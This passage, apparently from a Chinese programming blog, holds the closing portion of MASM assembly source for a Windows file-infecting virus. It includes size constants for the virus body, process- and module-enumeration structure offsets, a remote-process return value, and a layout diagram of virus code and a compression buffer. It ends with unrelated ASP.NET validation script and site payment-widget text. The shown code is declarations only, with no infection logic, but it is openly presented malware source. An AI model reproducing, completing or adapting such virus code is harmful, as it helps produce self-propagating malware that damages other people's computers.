lpfnMultiByteToWideChardd?
ife SKIP_CURRENT_PROCESS
lpfnGetCurrentProcessIddd?
endif
if ERROR_DIAGNOSE
lpfnGetLastErrordd?
endif


VIRUS_PHYSICAL_SIZE=$ - BaseOfVirusCode
VIRUS_VIRTUAL_SIZE=00001000h
VIRUS_ALIGN_SIZE=(VIRUS_VIRTUAL_SIZE + MAX_SIZE_COMPRESSED + 00000400h)
VIRUS_BOOTING_SIZE=(VIRUS_VIRTUAL_SIZE + MAX_SIZE_COMPRESSED)

DynamicDataArea = $

ReturnValueFromRemoteProcessdd?
dwOldProtectdd?
ProcessEntry32=$
pe_dwSize=ProcessEntry32 + 0000h
pe_th32ProcessID=ProcessEntry32 + 0008h
pe_szExeFile=ProcessEntry32 + 0024h

ife NOT_INFECT_FILES
ModuleEntry32=$
else
ModuleEntry32=$ + 00000128h
endif
me_dwSize=ModuleEntry32 + 0000h
me_modBaseAddr=ModuleEntry32 + 0014h

PADDING_DATA_LENGTH=(VIRUS_ALIGN_SIZE-($-BaseOfVirusCode))

PaddingDatadb (PADDING_DATA_LENGTH) dup (0)

; _______________________________________________ ___
;|(0x0000) | |
;| | |
;| Virus Code | | 00001000h
;| | |
;|_______________________________________________| _|_
;|(0x1000) | |
;| | |
;| Buffer For Data Compressed | | 00004000h
;| | |
;| | |
;| | |
;| | |
;| | |
;|_______________________________________________| _|_

DOS_HAEDER_SIZE=00000040h
SIZE_OF_IMPORT_DESCRIPTOR=00000014h
SIZE_OF_IMAGE_SECTION_HEADER=00000028h
MAX_SIZE_TO_COMPRESS=00004000h
MAX_SIZE_COMPRESSED=00004000h

DELTA_X=BaseOfVirusCode - @X
lpBufferForDataCompressed=DELTA_X + 00001000h

VirSegmentends


end VirtualEntry

<script language="javascript" type="text/javascript"> &amp;amp;amp;lt;!-- var Page_Validators = new Array(document.all["PostComment.ascx_RequiredFieldValidator1"], document.all["PostComment.ascx_RequiredFieldValidator2"], document.all["PostComment.ascx_RequiredFieldValidator3"]); // --&amp;amp;amp;gt; </script><script language="javascript" type="text/javascript"> &amp;amp;amp;lt;!-- var Page_ValidationActive = false; if (typeof(clientInformation) != "undefined" &amp;amp;amp;amp;&amp;amp;amp;amp; clientInformation.appName.indexOf("Explorer") != -1) { if ((typeof(Page_ValidationVer) != "undefined") &amp;amp;amp;amp;&amp;amp;amp;amp; (Page_ValidationVer == "125")) ValidatorOnLoad(); } function ValidatorOnSubmit() { if (Page_ValidationActive) { return ValidatorCommonOnSubmit(); } return true; } // --&amp;amp;amp;gt; </script>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值